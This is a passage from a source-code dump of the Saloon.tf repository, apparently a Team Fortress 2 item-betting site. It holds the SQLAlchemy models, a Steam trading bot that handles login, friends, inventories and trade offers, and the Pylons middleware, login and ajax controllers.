'timestamp']\n\nclass ItemsInstances(Base):\n __tablename__ = \"itemsInstances\"\n id = Column(Integer, primary_key=True)\n originID = Column(BigInteger)\n item = Column(Integer, ForeignKey(\"items.id\"))\n Item = relationship(\"Items\", backref=\"itemsInstances\", lazy=\"joined\")\n bot = Column(Integer, ForeignKey(\"bots.id\"))\n user = Column(Integer)\n status = Column(Integer)\n existing = Column(Boolean)\n TTL = Column(DateTime, default = None)\n\n StatusEnum = Enum(\"StatusEnum\", \"pending reserved held collectable collected uncollected leftover disposable chargebacked sold\")\n default_fields = ['id', 'originID', 'bot', 'user', 'status', 'existing']\n\nclass ItemsBet(Base):\n __tablename__ = \"itemsBet\"\n id = Column(BigInteger, primary_key=True)\n itemInstance = Column(Integer, ForeignKey(\"itemsInstances.id\"))\n ItemInstance = relationship(\"ItemsInstances\")\n match = Column(Integer, ForeignKey(\"matches.id\"))\n team = Column(Integer, ForeignKey(\"teams.id\"))\n bet = Column(Integer, ForeignKey(\"bets.id\"))\n origin = Column(Integer)\n\n OriginEnum = Enum(\"StatusEnum\", \"bet won\")\n default_fields = ['id', 'match', 'team', 'bet', 'origin']\n\nclass Countries(Base):\n __tablename__ = \"countries\"\n id = Column(String, primary_key=True)\n name = Column(String)\n default_fields = ['id', 'name']\n\nclass FingerprintsC(Base):\n __tablename__ = \"fingerprintsC\"\n id = Column(Integer, primary_key=True)\n steamID = Column(BigInteger)\n fingerprint = Column(BigInteger)\n time = Column(DateTime, default = datetime.datetime.now())\n\nclass FingerprintsIP(Base):\n __tablename__ = \"fingerprintsIP\"\n id = Column(Integer, primary_key=True)\n steamID = Column(BigInteger)\n fingerprint = Column(String)\n time = Column(DateTime, default = datetime.datetime.now())\n\nclass Incidents(Base):\n __tablename__ = \"incidents\"\n id = Column(Integer, primary_key=True)\n steamID = Column(Integer)\n method = Column(String)\n value = Column(String)\n time = Column(DateTime, default = datetime.datetime.now())\n\nfrom sqlalchemy import create_engine\nengine = create_engine(\"postgresql://user:password@localhost:5432/Saloon.tf\", echo = False, echo_pool = False, isolation_level=\"READ UNCOMMITTED\", pool_size = 50, max_overflow = 0)\n\nBase.metadata.bind = engine\n\nsession = sessionmaker()\nsession.bind = engine\nSession = scoped_session(session)\nBase.metadata.create_all()\nSession.commit()\n\nfrom contextlib import contextmanager\n\n@contextmanager\ndef SessionScope():\n \"\"\"Provide a transactional scope around a series of operations.\"\"\"\n session = Session()\n try:\n yield session\n session.commit()\n except:\n print \"Rollback issued\"\n session.rollback()\n raise\n finally:\n session.close()\n\n\n@contextmanager\ndef NestedSessionScope():\n \"\"\"Provide a nested transactional scope around a series of operations.\"\"\"\n session = Session()\n try:\n yield session\n session.commit()\n except:\n print \"Rollback issued\"\n session.rollback()\n raise\n" }, { "alpha_fraction": 0.5701415538787842, "alphanum_fraction": 0.5817245841026306, "avg_line_length": 32.826087951660156, "blob_id": "04b3713d287238f91e370fefc7dd382d54d4df9f", "content_id": "df82728c2ffe047aac183e818b1eefeca95c68ab", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 777, "license_type": "no_license", "max_line_length": 118, "num_lines": 23, "path": "/Website/website/lib/middleware.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "from pylons import session\nimport os\n\nclass LoaderMiddleware(object):\n def __init__(self, app, config):\n self.app = app\n self.config = config\n self.ignoredPaths = [\"/\"]\n\n def __call__(self, environ, start_response):\n if all([\n environ[\"PATH_INFO\"] != \"/\",\n environ[\"PATH_INFO\"][1:6] != \"login\",\n environ[\"PATH_INFO\"][1:5] != \"ajax\",\n environ[\"PATH_INFO\"][1:4] != \"api\",\n environ[\"REQUEST_METHOD\"] == \"GET\",\n \"HTTP_X_TURBO\" not in environ,\n \"text/html\" in environ[\"HTTP_ACCEPT\"]\n ]):\n start_response(\"200 OK\", [(\"Content-type\", \"text/html\"), (\"Cache-Control\", \"no-cache\"), (\"Pragma\", \"no-cache\")])\n with open(\"website/html/loader.html\", \"r\") as f:\n return f.read()\n return self.app(environ, start_response)" }, { "alpha_fraction": 0.695652186870575, "alphanum_fraction": 0.695652186870575, "avg_line_length": 27.473684310913086, "blob_id": "71994a5dc74e9d7b604cb1f1893aaa68c3c8665b", "content_id": "9556b538c7c676f588eccd7d1ab3b1553556798d", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1081, "license_type": "no_license", "max_line_length": 61, "num_lines": 38, "path": "/Daemon/LocalDaemon.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import requests\nimport logging\nimport datetime, time, calendar, uuid\nimport re\nfrom sqlalchemy import or_, and_\nfrom threading import Timer, Thread\nfrom collections import defaultdict\nimport database as db\n\nclass Handler(object):\n def __init__(self, Communicate, Local):\n self.Communicate = Communicate\n self.Local = Local\n self.notification = False\n\n def log(self, message, level = logging.INFO):\n self.Communicate.log(\"Local.py\", \"\", message, level)\n\n def auth(self, userID, UUID):\n self.Local.user(userID, UUID)\n\n def loadNotification(self):\n with db.SessionScope() as Session:\n RNotification = Session.query(db.Notifications).first()\n if RNotification.active:\n self.notification = {\n \"type\": RNotification.type,\n \"text\": RNotification.text\n }\n\n def notificationUpdate(self, type, text):\n self.notification = {}\n self.notification[\"type\"] = type\n self.notification[\"text\"] = text\n self.Communicate.broadcast([\"notification\", type, text])\n\n def notificationDisable(self):\n self.notification = False" }, { "alpha_fraction": 0.5700044631958008, "alphanum_fraction": 0.5770543217658997, "avg_line_length": 36.80984878540039, "blob_id": "2569ef5458203f4788574446d841f826deeccf56", "content_id": "403a90452147f3612cae2668d8e2b228ec2889a4", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22270, "license_type": "no_license", "max_line_length": 175, "num_lines": 589, "path": "/Daemon/SteamWeb.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import os, sys\nimport requests, urllib, cookielib\nimport logging\nimport datetime, time, json, base64, uuid\nimport re\nimport colorama as color\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_v1_5\nfrom collections import defaultdict\n\nclass Bot(object):\n def __init__(self, botID, name, steam, Callback):\n self.id = botID\n self.name = name\n self.steam = steam\n self.apiCallsCounter = 0\n\n self.Callback = Callback\n self.Callback.Bot = self\n\n self.session = requests.Session()\n self.cookiejar = cookielib.LWPCookieJar()\n if os.path.isfile(\"cookies/\" + self.steam[\"login\"]):\n self.cookiejar.load(\"cookies/\" + self.steam[\"login\"])\n self.session.cookies = self.cookiejar\n\n self.Authenticate()\n\n def log(self, message, level = logging.INFO):\n self.Callback.log(message, level)\n\n def Authenticate(self):\n return self._Authenticate(self)\n\n class _Authenticate(object):\n def __init__(self, Bot):\n self.Bot = Bot\n self.signIn()\n\n def signIn(self, guardNeeded = False, steamID = \"\", encrypted = \"\", captchaNeeded = False, captchaGid = \"\", captchaCode = \"\"):\n self.Bot.log(\"Logging in\")\n if guardNeeded:\n self.Bot.log(\"SteamGuard code needed\")\n\n self.Bot.log(\"Encrypting password\")\n password, timestamp = self.encryptPassword(self.Bot.steam[\"login\"], self.Bot.steam[\"password\"].encode(\"ascii\",\"ignore\"))\n\n parameters = {\n \"username\": self.Bot.steam[\"login\"],\n \"password\": password,\n \"emailauth\": \"\",\n \"loginfriendlyname\": \"\",\n \"captchegid\": \"\",\n \"emailsteamid\": \"\",\n \"rsatimestamp\": timestamp,\n \"remember_login\": \"true\",\n \"donotcache\": int(time.time())\n }\n\n if guardNeeded:\n guardCode = self.Bot.Callback.steamGuard()\n parameters[\"emailauth\"] = guardCode\n parameters[\"loginfriendlyname\"] = \"Saloon.TF\"\n parameters[\"emailsteamid\"] = steamID\n self.Bot.log(\"Logging in again with SteamGuard code\")\n if captchaNeeded:\n parameters[\"captchagid\"] = captchaGid\n parameters[\"captcha_text\"] = captchaCode\n\n response = self.Bot.session.post(\"https://steamcommunity.com/login/dologin/\", data=parameters).json()\n if response[u\"success\"]:\n self.Bot.cookiejar.save(\"cookies/\" + self.Bot.steam[\"login\"])\n self.Bot.sessionid = self.getSessionID()\n self.Bot.log(\"Logged in successfully\")\n return True\n elif u\"emailauth_needed\" in response:\n # Try to log in again using a SteamGuard code\n return self.signIn(guardNeeded = True, steamID = response[u\"emailsteamid\"], encrypted = encrypted)\n elif response[u\"message\"] == u\"Please verify your humanity by re-entering the characters below.\":\n captchaCode = self.Bot.Callback.captchaCode(response[u\"captcha_gid\"])\n return self.signIn(captchaNeeded = True, captchaGid = response[u\"captcha_gid\"], captchaCode = captchaCode)\n else:\n self.Bot.log(\"Something went wrong. Message: \" + response[u\"message\"])\n return False\n\n def encryptPassword(self, login, password):\n # Get RSA key from Steam\n self.Bot.log(\"Retrieving RSA key\")\n parameters = {\n \"username\" : login\n }\n response = self.Bot.session.post(\"https://store.steampowered.com/login/getrsakey/\", data=parameters).json()\n while not response[\"success\"]:\n response = self.Bot.session.post(\"https://store.steampowered.com/login/getrsakey/\", data=parameters).json()\n self.Bot.log(\"Retrieved RSA key\")\n # Generate public key from modulus and exponent\n implementation = RSA.RSAImplementation(use_fast_math = False)\n modulus = long(response[\"publickey_mod\"], 16)\n exponent = long(response[\"publickey_exp\"], 16)\n rsaKey = implementation.construct((modulus, exponent))\n rsaKey = PKCS1_v1_5.new(rsaKey) \n encryptedPassword = rsaKey.encrypt(password)\n return (base64.b64encode(encryptedPassword), response[\"timestamp\"])\n \n def getSessionID(self):\n response = self.Bot.session.get(\"http://steamcommunity.com/profiles/GoHomeValveYoureDrunk\")\n sessionId = re.findall(r\"g_sessionID = \\\"(.*?)\\\";\", response.text)[0]\n return sessionId\n\n def Community(self):\n return self._Community(self)\n\n class _Community(object):\n def __init__(self, Bot):\n self.Bot = Bot\n\n def getFriends(self, prefetch = False):\n parameters = {\"relationship\": \"friend\", \"steamid\": self.Bot.steam[\"id\"]}\n response = self.Bot.api(\"ISteamUser/GetFriendList/v0001\", parameters)\n friends = []\n if prefetch:\n steamIDs = []\n blocks = []\n count = 0\n\n for friend in response[u\"friendslist\"][u\"friends\"]:\n steamID = friend[u\"steamid\"].encode(\"ascii\", \"ignore\")\n friends.append(self.Friend(steamID, prefetch))\n if prefetch:\n steamIDs.append(steamID)\n count += 1\n if count == 100:\n blocks.append(\",\".join(steamIDs))\n steamIDs = []\n count = 0\n\n if prefetch:\n blocks.append(\",\".join(steamIDs))\n count = 0\n for block in blocks:\n parameters = {\"relationship\": \"friend\", \"steamids\": block}\n response = self.Bot.api(\"ISteamUser/GetPlayerSummaries/v0002\", parameters)\n response = response[u\"response\"][u\"players\"]\n if count + 100 > len(friends):\n r = range(0, len(friends) % 100)\n else:\n r = range(0,100)\n for i in r:\n friends[count].name = response[i][u\"personaname\"]\n friends[count].state = response[i][u\"personastate\"]\n friends[count].avatar = response[i][u\"avatarfull\"]\n friends[count].public = True if response[i][u\"communityvisibilitystate\"] is 3 else False\n count += 1\n return friends\n\n def inventory(self):\n return self.Friend(self.Bot.steam[\"id\"], False).inventory()\n\n def Friend(self, steamID, prefetch = False):\n return self._Friend(self.Bot, steamID, prefetch)\n\n class _Friend:\n def __init__(self, Bot, steamID, prefetch):\n self.Bot = Bot\n self.steamID = str(steamID)\n self.SID = SID(communityID = self.steamID)\n self.token = False\n if not prefetch:\n self.summary()\n\n def add(self):\n parameters = {\n \"steamid\": self.steamID,\n \"accept_invite\": 0\n }\n response = self.Bot.ajax(\"AddFriendajax\", parameters)\n if response:\n self.Bot.log(\"Sent friend request to \" + self.steamID)\n return True\n else:\n self.Bot.log(\"Couldn't add \" + self.steamID + \" to the friends list.\")\n return False\n\n def accept(self):\n parameters = {\n \"steamid\": self.steamID,\n \"accept_invite\": 1\n }\n response = self.Bot.ajax(\"AddFriendajax\", parameters)\n if response:\n self.Bot.log(\"Accepted friend request from \" + str(self.steamID))\n return True\n else:\n self.Bot.log(\"Couldn't add \" + self.steamID + \" to the friends list.\")\n return False\n\n def remove(self):\n parameters = {\n \"steamid\": self.steamID\n }\n response = self.Bot.ajax(\"RemoveFriendajax\", parameters)\n if response:\n self.Bot.log(\"Removed \" + self.steamID + \" from the friends list.\")\n return True\n else:\n self.Bot.log(\"Couldn't remove \" + self.steamID + \" from the friends list.\")\n return False\n \n def inventory(self):\n items = defaultdict(dict)\n parameters = {\"steamid\": self.steamID}\n inventory = self.Bot.api(\"IEconItems_440/GetPlayerItems/v0001\", parameters)\n if inventory and inventory[u\"result\"][u\"status\"] == 1:\n slotsTotal = inventory[u\"result\"][u\"num_backpack_slots\"]\n slotsEmpty = inventory[u\"result\"][u\"num_backpack_slots\"]\n if inventory[u\"result\"][u\"status\"] == 1:\n for item in inventory[u\"result\"][u\"items\"]:\n if item[u\"quality\"] != 0:\n preparedItem = {\n \"assetID\": item[u\"id\"],\n \"originID\": item[u\"original_id\"],\n \"customName\": False,\n \"customDescription\": False,\n \"level\": item[u\"level\"],\n \"defindex\": item[u\"defindex\"],\n \"quality\": item[u\"quality\"],\n \"elevateQuality\": None,\n \"origin\": item[u\"origin\"],\n \"tradable\": not u\"flag_cannot_trade\" in item,\n \"craftable\": not u\"flag_cannot_craft\" in item\n }\n\n if u\"attributes\" in item:\n for attribute in item[u\"attributes\"]:\n if attribute[u\"defindex\"] == 189:\n preparedItem[\"elevateQuality\"] = attribute[u\"value\"]\n elif attribute[u\"defindex\"] == 214:\n preparedItem[\"elevateQuality\"] = 11\n elif attribute[u\"defindex\"] == 500:\n preparedItem[\"customName\"] = attribute[u\"value\"]\n elif attribute[u\"defindex\"] == 501:\n preparedItem[\"customDescription\"] = attribute[u\"value\"]\n\n items[item[u\"defindex\"]][item[u\"id\"]] = preparedItem\n slotsEmpty -= 1\n return items, {\"total\": slotsTotal, \"empty\": slotsEmpty}\n\n self.Bot.log(\"Couldn't load inventory.\")\n return False, False\n\n def summary(self):\n parameters = {\"steamids\": self.steamID}\n response = self.Bot.api(\"ISteamUser/GetPlayerSummaries/v0002\", parameters)\n if response and response[u\"response\"]:\n response = response[u\"response\"][u\"players\"][0]\n self.name = response[u\"personaname\"]\n self.state = response[u\"personastate\"]\n self.avatar = response[u\"avatarfull\"]\n self.public = True if response[u\"communityvisibilitystate\"] is 3 else False\n\n def Trade(self):\n return self._Trade(self)\n\n class _Trade(object):\n def __init__(self, Bot):\n self.Bot = Bot\n\n def sendOffer(self, Partner, itemsToGive, itemsToReceive, message):\n print \"Sending offer\"\n createParams = {}\n headerParams = {\"partner\": str(Partner.SID.toAccount())}\n if Partner.token:\n headerParams[\"token\"] = Partner.token\n createParams[\"trade_offer_access_token\"] = Partner.token\n\n headers = {\n \"Referer\": \"https://steamcommunity.com/tradeoffer/new/?\" + urllib.urlencode(headerParams),\n \"Host\": \"steamcommunity.com\",\n \"Origin\": \"http://steamcommunity.com\"\n }\n\n offerParams = {\n \"newversion\": True,\n \"version\": 2,\n \"me\": {\n \"assets\": itemsToGive,\n \"currency\": [],\n \"ready\": False\n },\n \"them\": {\n \"assets\": itemsToReceive,\n \"currency\": [],\n \"ready\": False\n }\n }\n\n UUID = str(uuid.uuid4())\n\n parameters = {\n \"serverid\": 1,\n \"partner\": str(Partner.steamID).encode(\"utf-8\"),\n \"sessionid\": self.Bot.sessionid.encode(\"utf-8\"),\n \"tradeoffermessage\": \"%s\\n\\n%s\" % (message, UUID),\n \"json_tradeoffer\": json.dumps(offerParams),\n \"trade_offer_create_params\": json.dumps(createParams)\n }\n timeCutoff = int(time.time() - 1)\n\n offerID = False\n\n response = False\n try:\n response = self.Bot.session.post(\"https://steamcommunity.com/tradeoffer/new/send\", data=parameters, headers=headers, timeout=1.5).json()\n if response and u\"tradeofferid\" in response:\n offerID = int(response[u\"tradeofferid\"])\n except requests.exceptions.RequestException as error:\n pass\n\n if not offerID:\n time.sleep(0.5)\n offers = self.getOffers(offerType=\"sent\", timeCutoff=timeCutoff)\n if offers:\n for offer in offers.values():\n if offer.message[-36:] == UUID:\n if offerID and offer.offerID != offerID:\n offer.cancel()\n else:\n offerID = offer.offerID\n\n if not offerID:\n print response\n print parameters\n self.Bot.log(\"Couldn't send the tradeoffer.\")\n \n return (offerID, UUID)\n\n def getOffers(self, offerType = \"received\", active = True, historical = False, descriptions = False, timeCutoff = 0):\n parameters = {\n \"active_only\": int(active),\n \"historical_only\": int(historical),\n \"time_historical_cutoff\": timeCutoff\n }\n\n if descriptions:\n parameters[\"get_descriptions\"] = 1\n\n if offerType == \"sent\":\n parameters[\"get_sent_offers\"] = 1\n else:\n parameters[\"get_received_offers\"] = 1\n\n offersList = []\n response = self.Bot.api(\"IEconService/GetTradeOffers/v0001\", parameters)\n if response:\n response = response[u\"response\"]\n descriptions = {}\n if u\"descriptions\" in response:\n for item in response[u\"descriptions\"]:\n descriptions[item[\"classid\"] + \"_\" + item[\"instanceid\"]] = item\n\n if offerType == \"sent\":\n if u\"trade_offers_sent\" in response:\n offersList = response[u\"trade_offers_sent\"]\n else:\n offersList = []\n else:\n if u\"trade_offers_received\" in response:\n offersList = response[u\"trade_offers_received\"]\n else:\n offersList = []\n\n offers = {}\n for offer in offersList:\n offerID = int(offer[u\"tradeofferid\"])\n steamID = SID(accountID = offer[u\"accountid_other\"]).toCommunity()\n Partner = self.Bot.Community().Friend(steamID)\n if descriptions:\n offer = self.Offer(offerID, Partner, True, offer, descriptions)\n else:\n offer = self.Offer(offerID, Partner, True, offer)\n offers[offerID] = offer\n return offers\n return False\n\n def Offer(self, offerID, Partner = False, summary = True, offer = False, descriptions = False):\n return self._Offer(self.Bot, offerID, Partner, summary, offer, descriptions)\n\n class _Offer:\n def __init__(self, Bot, offerID, Partner, summary, offer, descriptions):\n self.Bot = Bot\n self.offerID = offerID\n self.Partner = Partner\n self.itemsToReceive = False\n self.itemsToGive = False\n if summary:\n self.summary(offer, descriptions)\n\n def accept(self):\n headers = {\n \"Referer\": \"https://steamcommunity.com/tradeoffer/%d\" % (self.offerID)\n }\n parameters = {\n \"serverid\": 1,\n \"partner\": self.Partner.steamID.encode(\"utf-8\"),\n \"tradeofferid\": str(self.offerID).encode(\"utf-8\"),\n \"sessionid\": self.Bot.sessionid.encode(\"utf-8\")\n }\n print parameters\n for i in range(0,3):\n try:\n response = self.Bot.session.post(\"https://steamcommunity.com/tradeoffer/%d/accept\" % (self.offerID), data=parameters, headers=headers, timeout=1.5)\n except requests.exceptions.Timeout:\n continue\n except requests.exceptions.RequestException as error:\n self.Bot.log(\"Couldn't accept #%d offer. %d ERROR.\" % (self.offerID, error.code))\n break\n self.Bot.log(\"Accepted #%d offer.\" % (self.offerID))\n return True\n return False\n\n def decline(self):\n parameters = {\n \"tradeofferid\": str(self.offerID)\n }\n response = self.Bot.api(\"IEconService/DeclineTradeOffer/v1\", parameters)\n if response:\n self.Bot.log(\"Declined #%d offer.\" % (self.offerID))\n return True\n self.Bot.log(\"Couldn't decline #%d offer.\" % (self.offerID))\n return False\n\n def cancel(self):\n parameters = {\n \"tradeofferid\": str(self.offerID)\n }\n response = self.Bot.api(\"IEconService/CancelTradeOffer/v1\", parameters)\n if response:\n self.Bot.log(\"Cancelled #%d offer.\" % (self.offerID))\n return True\n self.Bot.log(\"Couldn't cancel #%d offer.\" % (self.offerID))\n return False\n\n def summary(self, offer = False, descriptions = False):\n parameters = {\"tradeofferid\": str(self.offerID)}\n if not offer:\n response = self.Bot.api(\"IEconService/GetTradeOffer/v0001\", parameters)\n if not response:\n return False\n \n response = response[u\"response\"]\n if not response:\n return False\n\n offer = response[u\"offer\"]\n descriptions = {}\n if u\"descriptions\" in response:\n for item in response[u\"descriptions\"]:\n descriptions[item[\"classid\"] + \"_\" + item[\"instanceid\"]] = item\n\n if not offer:\n return False\n\n self.state = offer[u\"trade_offer_state\"]\n self.message = offer[u\"message\"]\n self.expirationTime = offer[u\"expiration_time\"]\n if not self.itemsToReceive:\n if descriptions:\n self.itemsToReceive = {}\n if u\"items_to_receive\" in offer:\n for item in offer[u\"items_to_receive\"]:\n classID = int(item[u\"classid\"])\n assetID = int(item[u\"assetid\"])\n if not classID in self.itemsToReceive:\n self.itemsToReceive[classID] = {\n \"classID\": classID,\n \"appid\": int(item[u\"appid\"]),\n \"contextid\": int(item[u\"contextid\"]),\n \"items\": {}\n }\n self.itemsToReceive[classID][\"items\"][assetID] = {}\n if descriptions:\n key = item[\"classid\"] + \"_\" + item[\"instanceid\"]\n if key in descriptions:\n description = descriptions[key]\n self.itemsToReceive[classID][\"name\"] = description[u\"name\"]\n self.itemsToReceive[classID][\"type\"] = description[u\"type\"]\n self.itemsToReceive[classID][\"items\"][assetID] = {\n \"craftable\": not (u\"descriptions\" in description and \"( Not Usable in Crafting )\" in [attribute[\"value\"] for attribute in description[u\"descriptions\"]]),\n \"tradable\": description[u\"tradable\"],\n \"background_color\": description[u\"background_color\"],\n \"name_color\": description[u\"name_color\"]\n }\n\n self.itemsToGive = {}\n if u\"items_to_give\" in offer:\n for item in offer[u\"items_to_give\"]:\n classID = int(item[u\"classid\"])\n assetID = int(item[u\"assetid\"])\n\n if not classID in self.itemsToGive:\n self.itemsToGive[classID] = {\n \"classid\": classID,\n \"assetid\": int(item[u\"assetid\"]),\n \"appid\": int(item[u\"appid\"]),\n \"contextid\": int(item[u\"contextid\"]),\n \"items\": {}\n }\n self.itemsToGive[classID][\"items\"][assetID] = {}\n if descriptions:\n key = item[\"classid\"] + \"_\" + item[\"instanceid\"]\n if key in descriptions:\n description = descriptions[key]\n self.itemsToGive[classID][\"name\"] = description[u\"name\"]\n self.itemsToGive[classID][\"type\"] = description[u\"type\"]\n self.itemsToGive[classID][\"items\"][assetID] = {\n \"craftable\": not (u\"descriptions\" in description and \"( Not Usable in Crafting )\" in [attribute[\"value\"] for attribute in description[u\"descriptions\"]]),\n \"tradable\": description[u\"tradable\"],\n \"background_color\": description[u\"background_color\"],\n \"name_color\": description[u\"name_color\"]\n }\n if not self.Partner:\n steamID = SID(accountID = offer[u\"accountid_other\"]).toCommunity()\n self.Partner = self.Bot.Community().Friend(steamID)\n return True\n\n def api(self, message, parameters):\n parameters[\"key\"] = self.steam[\"api\"]\n for i in range(0,3):\n try:\n if \"DeclineTradeOffer\" in message or \"CancelTradeOffer\" in message:\n response = self.session.post(\"http://api.steampowered.com/%s\" % (message), data=parameters, timeout=3.5).json()\n else:\n response = self.session.get(\"http://api.steampowered.com/%s/?%s\" % (message, urllib.urlencode(parameters)), timeout=3.5).json()\n except requests.exceptions.Timeout:\n continue\n except requests.exceptions.RequestException as error:\n break\n except ValueError:\n response = False\n if response:\n self.apiCallsCounter += 1\n return response\n return False\n\n def ajax(self, action, parameters):\n parameters[\"sessionID\"] = self.sessionid\n for i in range(0,3):\n try:\n response = self.session.post(\"http://steamcommunity.com/actions/%s\" % (action), data=parameters, timeout=1.5).json()\n except requests.exceptions.Timeout:\n continue\n except requests.exceptions.RequestException as error:\n break\n return response\n return False\n\nclass SID:\n def __init__(self, steamID = False, communityID = False, accountID = False):\n self.steamIDBase = 76561197960265728\n if steamID:\n self.steamID = steamID\n elif communityID:\n account = []\n account.append(\"STEAM_0:\")\n accountLastPart = int(communityID) - self.steamIDBase\n if accountLastPart % 2 == 0:\n account.append(\"0:\")\n else:\n account.append(\"1:\")\n account.append(str(accountLastPart // 2))\n self.steamID = \"\".join(account)\n elif accountID:\n self.steamID = \"STEAM_0:%d:%d\" % (accountID & 1, accountID >> 1)\n\n def toCommunity(self):\n steamIDParts = self.steamID.split(\":\")\n communityID = int(steamIDParts[2]) * 2\n if steamIDParts[1] == \"1\":\n communityID += 1\n communityID += self.steamIDBase\n return communityID\n\n def toSteam(self):\n return steamID\n\n def toAccount(self):\n steamIDParts = self.steamID.split(\":\")\n accountID = int(steamIDParts[2]) << 1\n return accountID\n" }, { "alpha_fraction": 0.6363409757614136, "alphanum_fraction": 0.6418245434761047, "avg_line_length": 42.619564056396484, "blob_id": "d5b22ac200d04396a1afe5cbf0ffe68597167d6e", "content_id": "256356e8727f525915e9b383308e68dbc2b81e98", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4012, "license_type": "no_license", "max_line_length": 210, "num_lines": 92, "path": "/Website/website/controllers/login.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, urllib, requests, re, simplejson as json\nimport database as db\n\nfrom pylons import request, response, session, tmpl_context as c, url, config\nfrom pylons.controllers.util import abort, redirect\n\nfrom website.lib.base import BaseController, Session, render\n\nlog = logging.getLogger(__name__)\n\nclass LoginController(BaseController):\n\n def index(self, code = False, path = False):\n # Return a rendered template\n if not path:\n if \"Referer\" in request.headers:\n path = request.headers[\"Referer\"].split(\"/\", 3)[3][:-1].replace(\"/\", \"+\")\n else:\n path = \"home\"\n\n if \"steamid\" in session:\n return redirect(\"/%s/\" % path.replace(\"+\", \"/\"))\n\n if request.GET.get('openid.signed'):\n steamID = verifyOpenID()\n if steamID:\n session[\"steamid\"] = steamID\n\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if not RUser:\n url = \"http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=%s&steamids=%d\" % (config[\"steamapi\"], session[\"steamid\"])\n data = json.loads(requests.get(url).text)[u\"response\"][u\"players\"][0]\n RUser = db.Users(name = data[u\"personaname\"], steamID = session[\"steamid\"])\n Session.add(RUser)\n Session.commit()\n RUserPermissions = db.UsersPermissions(user = RUser.id, manage = False, leagues = False, teams = False, users = False, bets = False, bots = False, scores = False, economy = False, permissions = False)\n Session.add(RUserPermissions)\n RUserInventory = db.UsersInventories(user = RUser.id)\n Session.add(RUserInventory)\n Session.commit()\n\n if \"osteamid\" in session and session[\"osteamid\"] != session[\"steamid\"]:\n RIncident = db.Incidents(steamID = session[\"steamid\"], value = session[\"osteamid\"], method = \"session\")\n Session.add(RIncident)\n\n fingerprint = request.headers[\"CF-Connecting-IP\"]\n RFingerprintsIP = Session.query(db.FingerprintsIP).filter(db.FingerprintsIP.fingerprint == fingerprint).all()\n for RFingerprintIP in RFingerprintsIP:\n if RFingerprintIP.steamID == session[\"steamid\"]:\n break\n else:\n RFingerprintIP = db.FingerprintsIP(steamID = session[\"steamid\"], fingerprint = fingerprint)\n Session.add(RFingerprintIP)\n if RFingerprintsIP:\n RIncident = db.Incidents(steamID = session[\"steamid\"], value = fingerprint, method = \"ip\")\n Session.add(RIncident)\n\n Session.commit()\n session.save()\n return redirect(\"/%s/\" % path.replace(\"+\", \"/\"))\n\n parameters = {\n \"openid.ns\": \"http://specs.openid.net/auth/2.0\",\n \"openid.mode\": \"checkid_setup\",\n \"openid.return_to\": \"https://%s/login/goto/%s/\" % (request.headers[\"Host\"], path),\n \"openid.realm\": \"https://%s\" % (request.headers[\"Host\"]),\n \"openid.ns.sreg\": \"http://openid.net/extensions/sreg/1.1\",\n \"openid.claimed_id\": \"http://specs.openid.net/auth/2.0/identifier_select\",\n \"openid.identity\": \"http://specs.openid.net/auth/2.0/identifier_select\",\n }\n data = urllib.urlencode(parameters)\n session.save()\n return redirect(\"https://steamcommunity.com/openid/login/?\" + data)\n\ndef verifyOpenID():\n parameters = {\n 'openid.assoc_handle': request.GET.get(\"openid.assoc_handle\"),\n 'openid.signed': request.GET.get(\"openid.signed\"),\n 'openid.sig': request.GET.get(\"openid.sig\"),\n 'openid.ns': 'http://specs.openid.net/auth/2.0',\n }\n signed = request.GET.get('openid.signed').split(\",\")\n for item in signed:\n parameters['openid.' + item] = request.GET.get('openid.' + item.replace(\".\", \"_\"))\n\n parameters['openid.mode'] = 'check_authentication'\n data = requests.post('https://steamcommunity.com/openid/login', params=parameters).text\n if data == \"ns:http://specs.openid.net/auth/2.0\\nis_valid:true\\n\":\n steamID = int(request.GET.get('openid.claimed_id')[36:])\n return steamID\n else:\n return False" }, { "alpha_fraction": 0.5852311849594116, "alphanum_fraction": 0.5948930382728577, "avg_line_length": 30.920705795288086, "blob_id": "7ae4d01d6129dc6d904df62ab211e1ad413ee2c9", "content_id": "ea292b6c7a905205f44aeb8a22b87f28bece7b76", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7245, "license_type": "no_license", "max_line_length": 170, "num_lines": 227, "path": "/Website/website/controllers/ajax.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, datetime, json, uuid\nimport itertools\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\nfrom collections import OrderedDict, defaultdict\nfrom sqlalchemy import and_, sql\nfrom website.lib.base import BaseController, Session, render\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass AjaxController(BaseController):\n\n def auth(self):\n UUID = str(uuid.uuid4())\n userID = False\n steamID = False\n bot = True\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n userID = RUser.id\n steamID = RUser.steamID\n\n import socket\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\", 9002))\n s.send(json.dumps([\"auth\", userID, UUID]))\n s.close()\n except Exception, e:\n bot = False\n\n return json.dumps({\"bot\": bot, \"UUID\": UUID, \"userID\": userID, \"steamID\": steamID})\n\n def matches(self, offset = 0, limit = 10):\n c.current = \"home\"\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = 